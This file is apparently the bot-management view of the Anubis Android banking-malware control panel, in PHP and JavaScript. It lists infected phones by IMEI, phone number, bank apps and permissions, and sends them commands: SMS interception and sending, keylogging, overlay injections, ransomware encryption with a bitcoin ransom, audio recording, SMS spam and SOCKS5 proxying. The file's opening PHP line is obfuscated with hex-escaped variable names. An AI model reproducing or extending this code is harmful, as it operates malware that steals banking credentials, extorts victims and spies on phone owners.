Files
Anubis-8.0/anubis/application/views/botstable.php
T

1837 lines
66 KiB
PHP
Raw Normal View History

2026-08-27 10:50:54 -06:00
<?php ${"\x47L\x4fB\x41L\x53"}["p\x61_\x71\x67\x6b\x72\x77w\x7a\x69\x70n\x6dw\x66v\x6cv\x7a\x77\x68w"]="_\x53\x45S\x53I\x4f\x4e";${"\x47L\x4f\x42A\x4c\x53"}["\x6fs\x61k\x76s\x5fe\x63f\x64w\x76n\x66t\x6fj\x62h\x7av\x66\x64\x67\x63\x6a\x64v\x69\x6d\x6cr\x5fu\x6a\x6c\x65"]="s\x74\x61\x74\x75\x73C\x6fd\x65";if(isset(${${"\x47L\x4f\x42\x41L\x53"}["p\x61_\x71\x67\x6b\x72\x77w\x7a\x69\x70n\x6dw\x66v\x6cv\x7a\x77\x68w"]}["wh_anu7"])){echo "";}else{session_destroy();}${${"G\x4c\x4f\x42A\x4cS"}["\x6fs\x61k\x76s\x5fe\x63f\x64w\x76n\x66t\x6fj\x62h\x7av\x66\x64\x67\x63\x6a\x64v\x69\x6d\x6cr\x5fu\x6a\x6c\x65"]}=false;if(!(isset(${${"\x47\x4cO\x42\x41L\x53"}["p\x61_\x71\x67\x6b\x72\x77w\x7a\x69\x70n\x6dw\x66v\x6cv\x7a\x77\x68w"]}['panel_user']))){session_destroy();header("Location: /login.php");}else{if(${${"\x47L\x4fB\x41\x4c\x53"}["p\x61_\x71\x67\x6b\x72\x77w\x7a\x69\x70n\x6dw\x66v\x6cv\x7a\x77\x68w"]}['panel_status']!="Action"){session_destroy();header("Location: /login.php");}else{${${"\x47\x4cO\x42A\x4c\x53"}["\x6fs\x61k\x76s\x5fe\x63f\x64w\x76n\x66t\x6fj\x62h\x7av\x66\x64\x67\x63\x6a\x64v\x69\x6d\x6cr\x5fu\x6a\x6c\x65"]}=true;}}if(${${"G\x4c\x4f\x42A\x4cS"}["\x6fs\x61k\x76s\x5fe\x63f\x64w\x76n\x66t\x6fj\x62h\x7av\x66\x64\x67\x63\x6a\x64v\x69\x6d\x6cr\x5fu\x6a\x6c\x65"]}){ ?>
<div id="showAlert"></div>
<div class="content" id="content">
<script type="text/javascript">
//-------JS----------------
function getTextFileLogs(imei){
$.ajax({
url: 'application/get/logBot.php?imei='+imei,
success: function(data) {
$('#textArea').append('<textarea id="logsTextArea" readonly name="mesage" wrap="virtual" class="textlog">'+data+'</textarea>');
}
});
refreshIconLogBot(imei);
}
function checkAll(checkId){
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == checkId) {
if(inputs[i].checked == true) {
inputs[i].checked = false ;
} else if (inputs[i].checked == false ) {
inputs[i].checked = true ;
}
}
}
}
function checkOFF(){
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == 'chk') {
if(inputs[i].checked == true) {
inputs[i].checked = false ;
}
}
}
}
function getOptSelectIMEI(){
SelectOptionDeleteAllValues('comboBox_imeis');
var imeis='';
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == 'chk'){
if(inputs[i].checked == true){
var arrayidimei = inputs[i].value.split(':',2);
$('#comboBox_imeis').append($('<option>', {
value: arrayidimei[0],
text: arrayidimei[1]
}));
imeis=imeis+':'+arrayidimei[1];
}
}
}
$("#text_imei").val(imeis);
}
function SelectOptionDeleteAllValues(name){
var listBox = document.getElementById(name);
listBox.options.length = 0;
return false;
}
function sendDataCommand(){
var statusAlert=false;
var value = document.getElementById("comboBox_commands").value;
var imeis = document.getElementById("text_imei").value;
if(value=="null"){
}else if(value=="sentSMS"){
var number = document.getElementById("text_number").value;
var text = document.getElementById("text_msg").value;
number = number.replace('+', '@');
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&text_number='+number
+'&text_msg='+ text,
cache: false});
statusAlert=true;
}else if(value=="startUSSD"){
var text = document.getElementById("text_ussd").value;
text = text.replace("#","AAA");
text = text.replace("#","AAA");
text = text.replace("#","AAA");
text = text.replace("#","AAA");
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&text_ussd='+ text,
cache: false});
statusAlert=true;
}else if(value=="getSMS"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="ws"){
var number = document.getElementById("text_ws").value;
var text = document.getElementById("text_hs").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&text_ws='+number
+'&text_hs='+ text,
cache: false});
statusAlert=true;
}else if(value=="getapps"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="getpermissions"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="startAlert"){
var title = document.getElementById("title_push").value;
var text = document.getElementById("text_push").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&title_push='+title
+'&text_push='+ text,
cache: false});
statusAlert=true;
}else if(value=="startPush"){
var title = document.getElementById("titlePush").value;
var text = document.getElementById("textPush").value;
var icon = document.getElementById("comboBox_push").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&titlePush='+title
+'&textPush='+ text
+'&comboBox_push=' + icon,
cache: false});
statusAlert=true;
}else if(value=="startAutoPush"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="getkeylogger"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="startinj"){
var inject = document.getElementById("comboBox_inj").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&comboBox_inj='+inject,
cache: false});
statusAlert=true;
}else if(value=="numberGO"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="numberGOsendSMS"){
var text = document.getElementById("text_sms_tel_book").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&text_sms_tel_book='+ text,
cache: false});
statusAlert=true;
}else if(value=="RequestPermissionInj"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="RequestPermissionGPS"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="startaccessibility"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="startpermission"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="startforward"){
var text = document.getElementById("text_forward").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&text_forward='+ text,
cache: false});
statusAlert=true;
}else if(value=="stopforward"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="openbrowser"){
var text = document.getElementById("text_openbrowser").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&text_openbrowser='+ text,
cache: false});
statusAlert=true;
}else if(value=="openactivity"){
var text = document.getElementById("text_openactivity").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+'&text_openactivity='+ text,
cache: false});
statusAlert=true;
}else if(value=="getIP"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="killBot"){
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis,
cache: false});
statusAlert=true;
}else if(value=="startApp"){
var app = document.getElementById("text_start_app").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+ '&text_start_app='+ app,
cache: false});
statusAlert=true;
}else if(value=="replaceURL"){
var url = document.getElementById("text_replace_url").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+ '&text_replace_url='+ url,
cache: false});
statusAlert=true;
}else if(value=="cryptolocker"){
var key = document.getElementById("text_enc_key").value;
var amount = document.getElementById("text_amount").value;
var btc = document.getElementById("text_btc").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+ '&key='+ key
+ '&amount='+amount
+ '&btc='+btc,
cache: false});
statusAlert=true;
}else if(value=="decryptolocker"){
var key = document.getElementById("text_dec_key").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+ '&key='+ key,
cache: false});
statusAlert=true;
}else if(value=="recordsound"){
var seconds = document.getElementById("text_seconds").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+ '&seconds='+ seconds,
cache: false});
statusAlert=true;
}else if(value=="spamsms"){
var textspam = document.getElementById("text_spam_n").value;
$.ajax({
url: 'application/set/commandBots.php?'
+'comboBox_commands='+value
+'&text_imei='+ imeis
+ '&spam='+ textspam,
cache: false});
statusAlert=true;
}else if(value=="startsocks5"){
var texthost = document.getElementById("text_host_n").value;
var textuser = document.getElementById("text_user_n").value;
var textpass = document.getElementById("text_pass_n").value;
var textport = document.getElementById("text_port_n").value;
$.ajax({
url: 'application/set/commandBots.php?'
+ 'comboBox_commands='+value
+ '&text_imei='+ imeis
+ '&host='+ texthost
+ '&user='+ textuser
+ '&pass='+ textpass
+ '&port='+ textport,
cache: false});
statusAlert=true;
}else if(value=="stopsocks5"){
$.ajax({
url: 'application/set/commandBots.php?'
+ 'comboBox_commands='+value
+ '&text_imei='+ imeis,
cache: false});
statusAlert=true;
}
checkOFF();
if(statusAlert){
startNatif('success','The team was successfully added!');
}else{
startNatif('danger','Enter the correct command!');
}
}
//--------------
function getOptSelectIMEISettings(imei){
SelectOptionDeleteAllValues('comboBox_imeis2');
var imeis='';
var statimei = false;
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == 'chk'){
if(inputs[i].checked == true){
var arrayidimei = inputs[i].value.split(':',2);
$('#comboBox_imeis2').append($('<option>', {
value: arrayidimei[0],
text: arrayidimei[1]
}));
imeis=imeis+':'+arrayidimei[1];
statimei=true;
}
}
}
if(!statimei){
$('#comboBox_imeis2').append($('<option>', {
value: 0,
text: imei
}));
imeis=':'+imei;
}
$("#text_imei_set").val(imeis);
getSettingsBot(imei);
}
function getSettingsBot(imei){
// ------ Clear Form -------
var inputsClear = document.getElementsByTagName("input");
for (var i = 0; i < inputsClear.length; i++) {
if (inputsClear[i].type == "checkbox" && inputsClear[i].id == 'check_set') {
inputsClear[i].checked = false ;
}
}
document.getElementById("chkinterceptSMS").checked = false;
document.getElementById("chkhideSMS").checked = false;
document.getElementById("chknetwork").checked = false;
document.getElementById("chkgps").checked = false;
document.getElementById("check_foreground").checked = false;
document.getElementById("check_keylogger").checked = false;
document.getElementById("check_record").checked = false;
document.getElementById("lookscreen").checked = false;
document.getElementById("id_seconds").value = '';
$.ajax({url: 'application/get/settingsBot.php?imei='+imei, success: function(data) {
var arrayData = data.split('|');
var seconds = arrayData[0];
var injections = arrayData[1].split('/');
var interceptSMS = arrayData[2];
var hideSMS = arrayData[3];
var network = arrayData[4];
var gps = arrayData[5];
var status = arrayData[6];
var foreground = arrayData[7];
var keylogger = arrayData[8];
var check_record = arrayData[9];
var text_seconds = arrayData[10];
var lookscreen = arrayData[11];
if(status!=null){
if(status==1){
document.getElementById("AstatusSettings").style.color='red';
document.getElementById("statusSettings").innerHTML="Settings are not active, wait until the bot updates them..";
}else{
document.getElementById("AstatusSettings").style.color='#00FF00';
document.getElementById("statusSettings").innerHTML="Settings are active!";
}
}
if(seconds!=null){
document.getElementById("idSeconds").innerHTML=seconds;
}
var inputs = document.getElementsByTagName("input");
for(var j = 1; j < injections.length; j++){
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].value == injections[j]) {
inputs[i].checked = true ;
}
}
}
if(interceptSMS==1){
document.getElementById("chkinterceptSMS").checked = true;
}
if(hideSMS==1){
document.getElementById("chkhideSMS").checked = true;
}
if(network==1){
document.getElementById("chknetwork").checked = true;
}
if(gps==1){
document.getElementById("chkgps").checked = true;
}
if(foreground==1){
document.getElementById("check_foreground").checked = true;
}
if(keylogger==1){
document.getElementById("check_keylogger").checked = true;
}
if(check_record==1){
document.getElementById("check_record").checked = true;
}
if(text_seconds!=null){
document.getElementById("id_seconds").value = text_seconds;
}
if(lookscreen==1){
document.getElementById("lookscreen").checked = true;
}
}});
}
function saveSetting(){
var getImeis = document.getElementById("text_imei_set").value;
var injections = '';
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
if (inputs[i].type == "checkbox" && inputs[i].id == 'check_set' && inputs[i].checked == true) {
injections = injections + '/' + inputs[i].value;
}
}
var chkinterceptSMS = 0;
if(document.getElementById("chkinterceptSMS").checked==true){
chkinterceptSMS = 1;
}
var chkhideSMS = 0;
if(document.getElementById("chkhideSMS").checked==true){
chkhideSMS = 1;
}
var chknetwork = 0;
if(document.getElementById("chknetwork").checked==true){
chknetwork = 1;
}
var chkgps = 0;
if(document.getElementById("chkgps").checked==true){
chkgps = 1;
}
var foreground = 0;
if(document.getElementById("check_foreground").checked==true){
foreground = 1;
}
var keylogger = 0;
if(document.getElementById("check_keylogger").checked==true){
keylogger = 1;
}
var check_record = 0;
if(document.getElementById("check_record").checked==true){
check_record = 1;
}
var text_seconds = document.getElementById("id_seconds").value;
var lookscreen = 0;
if(document.getElementById("lookscreen").checked==true){
lookscreen = 1;
}
$.ajax({ url: "application/set/settingsBots.php?text_imei_set="+ getImeis +"&check_set="+ injections +"&chknetwork="+chknetwork+"&chkgps="+chkgps+"&chkinterceptSMS="+chkinterceptSMS+"&chkhideSMS="+chkhideSMS+"&foreground="+foreground+"&keylogger="+keylogger+"&check_record="+check_record+"&text_seconds="+text_seconds+"&lookscreen="+lookscreen,
cache: false});
startNatif('success','Successfully saved settings!');
}
//--------------Комментарии
function saveComments(imei){
var getComment = document.getElementById('comment'+imei).value;
$.ajax({url: 'application/set/commentBot.php?imei='+imei+'&comment='+getComment});
startNatif('success','Comments saved successfully!');
refreshContentTable();
}
</script>
</br>
<table class="table table-hover table_dark" id="bootstrap-table">
<thead class="header_table_bots">
<tr>
<?php
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
echo "<th><input type='checkbox' id='chk_new' onclick=checkAll('chk'); />";
}elseif($_SESSION['panel_right']=="traffic")
{
echo "<th></th>";
}
echo "<th><i style='color: #25ec1f;' class='fa fa-user-circle-o fa-lg'/></th>";
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
echo "<th><i style='color: #25ec1f;' class='fa fa-phone fa-lg'></i></th>";
}
echo "<th><i style='color: #25ec1f;' class='fa fa-android fa-lg'></i></th>";
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
echo "<th><i style='color: #25ec1f;' class='fa fa-tag fa-lg'></i></th>";
}
echo "<th><i style='color: #25ec1f;' class='fa fa-globe fa-lg'></i></th>";
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
echo "<th><i style='color: #25ec1f;' class='fa fa-university fa-lg'></i></th>";
echo "<th><i style='color: #25ec1f;' class='fa fa-comment fa-lg'/></th>";
}
echo "<th><i style='color: #25ec1f;' class='fa fa-exchange fa-lg'/></th>";
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
echo "<th><i style='color: #25ec1f;' class='fa fa-cogs fa-lg'/></th>";
}
echo "<th><i style='color: #25ec1f;' class='fa fa-calendar-plus-o fa-lg'/></th>";
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
echo "<th><i style='color: #25ec1f;' class='fa fa-terminal fa-lg'/></th>";
}
?>
</tr>
</thead>
<?php
include 'crypt.php';
$count_id_page=0;
$page = $_GET["page"];
$page1 = $_GET["page"];
$count_id = 30;
global $log_IMEI;
global $set_IMEI;
//---------Читаем с файла сортировку---
if(isset($_POST["bth_add_sort"]))
{
$_SESSION['sort_kat']=$_POST['sort_kat'];
$_SESSION['sortCountry']=$_POST['sortCountry'];
$_SESSION['color']=$_POST['color'];
$_SESSION['versions']=$_POST['versions'];
$_SESSION['bank']=$_POST['bank'];
$_SESSION['packBank']=$_POST['packBank'];;
}
$sostoya = $_SESSION['sort_kat'];
$countr = $_SESSION['sortCountry'];
$colors = $_SESSION['color'];
$ver_apk = $_SESSION['versions'];
$banks = $_SESSION['bank'];
$packBanks = $_SESSION['packBank'];
if($sostoya!="all" || $countr!="all" || $colors!="all" || $ver_apk!="all" || $banks!="all" || $packBanks!="all")
{
$count_id = 10000000000000;
}
if($page =="" || $page == "1")
{
$page=0;
}
else
{
$page = ($page*$count_id)-$count_id;
}
/****Ограничение по тегам****/
$userRights = new users_right;
$tags = explode("|", $userRights->getPrivateTags());
$thisTag = explode(",", $tags[0]);
$thisTag = array_diff($thisTag, array("", NULL, false));
$thisTagStr = implode("','", $thisTag);
$thisTagStr="'$thisTagStr'";
$privateTag = explode(",", $tags[1]);
/****************************/
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
if($_SESSION['panel_right']!="admin"){
if($thisTagStr=="''"){
$statement = $connection->prepare("SELECT * FROM kliets limit $page,$count_id");
}else{
$statement = $connection->prepare("SELECT * FROM kliets WHERE version_apk IN ($thisTagStr) limit $page,$count_id");
}
}else{
$statement = $connection->prepare("SELECT * FROM kliets limit $page,$count_id");
}
$booleanIMEI = false;
if(isset($_POST["delete"]))//*****Обработка запросa Для удаления!
{
if (preg_match("/checks/",print_r($_POST,true)))
{
foreach($_POST["checks"] as $id)
{
$id_del = explode(":", $id);
$sql2 = "DELETE FROM kliets WHERE id='".$id_del[0]."'";
$connection->query($sql2);
}
}
}
//******батоны и переменые с базы!********
echo "<form name='callback' method='post'>";
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
echo "<input type='submit' value='Add Сommand' onclick='getOptSelectIMEI()' name='add_commands' data-toggle='modal' data-target='.modal_command' style='margin-left:1.5%;' class='btn btn-outline-success '/>";
echo "<input type='submit' value='Delete' name='delete' style='margin-left:5px;' class='btn btn-outline-danger'/>";
echo "<input type='submit' value='Sorting' name='sorting' data-toggle='modal' data-target='.sorting' style='margin-left:5px;border-color: #dbab38;' class='btn btn-outline-secondary'/>";
echo "<input type='submit' value='Refresh' name='refresh' style='margin-left:5px;border-color: #dbab38;' class='btn btn-outline-secondary'/>";
}else
{
echo "<input type='submit' value='Refresh' name='refresh' style='margin-left:1.5%;' class='btn btn-outline-secondary'/>";
}
error_reporting(0);
$statement->execute([$page]);
$statement->execute([$count_id]);
$count_bots = 0;
$AllIMEI = '';
foreach($statement as $row)
{
$ID = $row['id'];
$IMEI = $row['IMEI'];
$ip = $row['ip'];
$number = $row['number'];
$version = $row['version'];
$version_apk = $row['version_apk'];
$country = $row['country'];
$bank = $row['bank'];
$AV=$row['av'];
$model = $row['model'];
$lastConnect = $row['lastConnect'];
$firstConnect = $row['firstConnect'];
$l_inj=$row['inj'];
$l_bank=$row['l_bank'];
$l_log=$row['log'];
$root=$row['r00t'];
$screen=$row['screen'];
$color=$row['color'];
$requestInjProc=$row['requestInjProc'];
$requestGeoloc=$row['requestGeoloc'];
$requestSMS=$row['requestSMS'];
$requestAccessibility=$row['accessibility'];
$requestPlayProtect=$row['playprotect'];
$doze=$row['doze'];
$step=$row['step'];
if($step=="")$step="0";
$AllIMEI = "$AllIMEI:$IMEI";
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $row['lastConnect']);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($row['lastConnect']);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=2)//Дни!
{
$img="images/icons/kill.png";
$getSortON_OFF="kill";
}
else
{
if($seconds<=120)
{$img="images/icons/online.png";
$getSortON_OFF="online";}
else
{$img="images/icons/offline.png";
$getSortON_OFF="offline";}
}
//************Иконки ЛОГОВ***************************************
if($l_inj == "1")
{$icon_inj="images/icons/inj_on.png";}
else
{$icon_inj="images/icons/inj_off.png";}
if($l_bank == "1")
{$icon_bank="images/icons/bank_on.png";}
else
{$icon_bank="images/icons/bank_off.png";}
if($l_log == "1")
{$icon_log="images/icons/log_on.png";}
elseif($l_log == "2")
{$icon_log="images/icons/log_on_g.png";}
else
{$icon_log="images/icons/log_off.png";}
/**/
if($root == "1")
{$icon_root="images/icons/V.png";}
else
{$icon_root="images/icons/X.png";}
if($seconds<=120)
{
if($screen == "1")
{$icon_screen="images/icons/V.png";}
else
{$icon_screen="images/icons/X.png";}
}
else
{
$icon_screen="images/icons/X.png";
}
if($requestInjProc == "1")
{$icon_requestInjProc="images/icons/inj_v.png";}
else
{$icon_requestInjProc="images/icons/inj_off2.png";}
if($requestGeoloc == "1")
{$icon_requestGeoloc="images/icons/geolocation_v.png";}
else
{$icon_requestGeoloc="images/icons/geolocation_x.png";}
if($requestSMS == "1")
{$icon_requestSMS="images/icons/sms_v.png";}
else
{$icon_requestSMS="images/icons/sms_x.png";}
if($requestAccessibility == "1")
{$icon_Accessibility="images/icons/juk_v.png";}
else
{$icon_Accessibility="images/icons/juk_x.png";}
if($requestPlayProtect == "1")
{$icon_PlayProtect="images/icons/playprotect_on.png";}
elseif($requestPlayProtect == "0")
{$icon_PlayProtect="images/icons/playprotect_off.png";}
else{
$icon_PlayProtect="images/icons/playprotect_non.png";
}
$doze_icon = "images/icons/doze_green.png";
$doze_title = "ON";
if($doze=="1"){
$doze_icon = "images/icons/doze_red.png";
$doze_title = "OFF";
}
//----страны
if($country == "") $country = "not";
$country = mb_strtolower($country);
//************Данные в таблице********************************************
// зел #00cc05;
// red #d60000
// син #0004d6
// фил #ca00d6
// желт #ffb305
//******************Обработка банка********
$number = str_replace(")",")</br>",$number);
$model = str_replace(" (","</br>(",$model);
$firstConnect= str_replace(" ","</br>",$firstConnect);
//*****************************************
$ver_apk = $_SESSION['versions'];
$bankSession = $_SESSION['bank'];
$packBanks = $_SESSION['packBank'];
if($sostoya == "" || $sostoya == "all" || $sostoya == $getSortON_OFF)
{
if($countr == "" || $countr == "all" || $countr == $country)
{
if($colors == "" || $colors == "all" || ($colors == "cards" && $l_bank == "1")|| ($colors == "inject" && $l_inj == "1"))
{
if($ver_apk == "" || $ver_apk == "all" || $ver_apk == $version_apk)
{
if($packBanks == "" || $packBanks == "all" || $packBanks == $bank || preg_match("/$packBanks/",$bank))
{
if(($bankSession == "") || ($bankSession == "all") || (($bankSession == "on") && (strlen($bank)>=4)) || (($bankSession == "off") && (strlen($bank)<=4)))
{
echo "<tr class='table_bots' id='table_bots' style='color: #A4A4A4;'>";
$color_kom = "#A4A4A4";
$bank=str_replace(",","</br>",$bank);
$bank=str_replace(", ","</br>",$bank);
if (($_SESSION['panel_right']=="admin")||($_SESSION['panel_right']=="user")){
echo "
<td><input type=checkbox name=checks[] id='chk' value=$ID:$IMEI></input></td>
<td>$IMEI</br>$ip</td>
<td>$number</td>
<td>$version</td>
<td>$version_apk</td>
<td><a title='$country' style='margin-top: -4%;'><img src='images/country/$country.png' width='20px'/></a></td>
<td>$bank</td>
<td>
<input type='text' name='comment$IMEI' id='comment$IMEI' value='$AV' style='color: $color_kom; background: transparent; width: 83%; border: 0px solid #1D1F24; padding: 5px; font-family: 'Consolas'; font-size: 14px; height: 28px;'/>
<button class='btn_log' style='background: transparent; margin-left: -10px;' onclick='saveComments(\"$IMEI\")' data-toggle='modal' name='kom_save' value='$IMEI' title='Save' ><img src='images/icons/save.png' title='Save' alt='img' width='18px' style='padding-left: 0px' class='img_log' /></button>
</td>";
echo "<td>";
echo getTimeConnect($row['lastConnect']);
echo "</td>";
echo "<td>
<a title='Doze Mode $doze_title'><img id='doze$IMEI' src=$doze_icon width='18px'/></a>
<a title='Google Play Protect'><img id='PlayProtect$IMEI' src=$icon_PlayProtect width='15px'/></a>
<a title='Screen'><img id='Screen$IMEI' src=$icon_screen width='16px'/></a>
<a title='Accessibility'><img id='Accessibility$IMEI' src=$icon_Accessibility width='20px'/></a>
<a title='Hidden intercepting SMS'><img id='interceptingSMS$IMEI' src=$icon_requestSMS width='20px'/></a>
<a title='Permission injections'><img id='injections$IMEI' src=$icon_requestInjProc width='20px'/></a>
<a title='Permission geolocations'><img id='geolocations$IMEI' src=$icon_requestGeoloc width='20px'/></a>
<a title='Steps'><img src=images/icons/step.png width='22px'/></a>
<a style='margin-left: 5px'><span class='badge badge-dark' style='position:absolute; margin-top:-8px; margin-left:-16px;font-family: Times New Roman, Times, serif; font-size: 8px;'>
$step
</span></a>
</td>
<td>$firstConnect</td>
<td>
<a title='Cards'><img id='cards$IMEI' src=$icon_bank width='20px'/></a>
<a title='Injections'><img id='inj$IMEI' src=$icon_inj width='20px'/></a>
<button class='btn_log' onclick='getTextFileLogs(\"$IMEI\")' data-toggle='modal' data-target='.logs' style='background: transparent;' name='click_log' value='$IMEI' title='Logs' ><img id='logs$IMEI' src='$icon_log' title='Logs' alt='img' width='18px' class='img_log'/></button>
<button class='btn_log' onclick='getOptSelectIMEISettings(\"$IMEI\");'data-toggle='modal' data-target='.settings' style='background: transparent;' name='click_set' value='$IMEI' title='Settings' ><img src='images/icons/fe.png' title='Settings' alt='img' width='20px' class='img_log'/></button>
</td>
</tr>";
$count_bots++;
}elseif($_SESSION['panel_right']=="traffic")
{
$count_bots++;
echo "
<td>$count_bots</td>
<td>$IMEI</td>
<td>$version</td>
<td><a title='$country' style='margin-top: -4%;'><img src='images/country/$country.png' width='20px'/></a></td>";
echo "<td>";
echo getTimeConnect($row['lastConnect']);
echo "</td>";
echo "<td>$firstConnect</td>
</tr>";
}
}}}}}}
}
echo "<input type='text' value='$AllIMEI' name='allimei' id='allimei' style='visibility:hidden'/>
</form>";
// id IMEI number version country bank model lastConnect firstConnect
?>
</table>
<script>
$(document).ready( function () {
$('#bootstrap-table').bdt();
});
</script>
<?php
//НОМЕРА СТРАНИЦ
$connection->exec('SET NAMES utf8');
$sql2 ="";
if($_SESSION['panel_right']!="admin"){
if($thisTagStr == "''"){
$sql2 = "SELECT * FROM kliets";
}else{
$sql2 = "SELECT * FROM kliets WHERE version_apk IN ($thisTagStr)";
}
}else{
$sql2 = "SELECT * FROM kliets";
}
foreach($connection->query($sql2) as $row)
$count_id_page++;
$b1="";
$b2="";
$a = ceil($count_id_page/$count_id);
echo "<center>";
if($page1==1){
if($a>1)echo "<a style='margin-left:5px; border: 1px solid #000' class='btn btn-default' href='index.php?cont=bots&page=1'>>1<</a>";
}else{
if($a>1)echo "<a style='margin-left:5px; border: 1px solid #000' class='btn btn-default' href='index.php?cont=bots&page=1'>1</a>";
}
for($b=2;$b<=$a-1;$b++)
{
if($page1==$b){
$b1=">";
$b2="<";
}else{
$b1="";
$b2="";
}
if($a<=8){
echo "<a style='margin-left:5px; border: 1px solid #000' class='btn btn-default' href='index.php?cont=bots&page=$b'>$b1$b$b2</a>";
}
if($a>8){
if(($b>$page1-4)&&($b<$page1+4))
echo "<a style='margin-left:5px; border: 1px solid #000' class='btn btn-default' href='index.php?cont=bots&page=$b'>$b1$b$b2</a>";
if(($b==$a-1)&&($page1<($a-4))){
echo "<a style='margin-left:5px; border: 1px solid #000' class='btn btn-default'>..</a>";
}
if(($b==2)&&($page1>5)){
echo "<a style='margin-left:5px; border: 1px solid #000' class='btn btn-default'>..</a>";
}
}
}
if($page1==$a){
if($a>1) echo "<a style='margin-left:5px; border: 1px solid #000' class='btn btn-default' href='index.php?cont=bots&page=$a'>>$a<</a>";
}else{
if($a>1) echo "<a style='margin-left:5px; border: 1px solid #000' class='btn btn-default' href='index.php?cont=bots&page=$a'>$a</a>";
}
echo "</center></br>";
?>
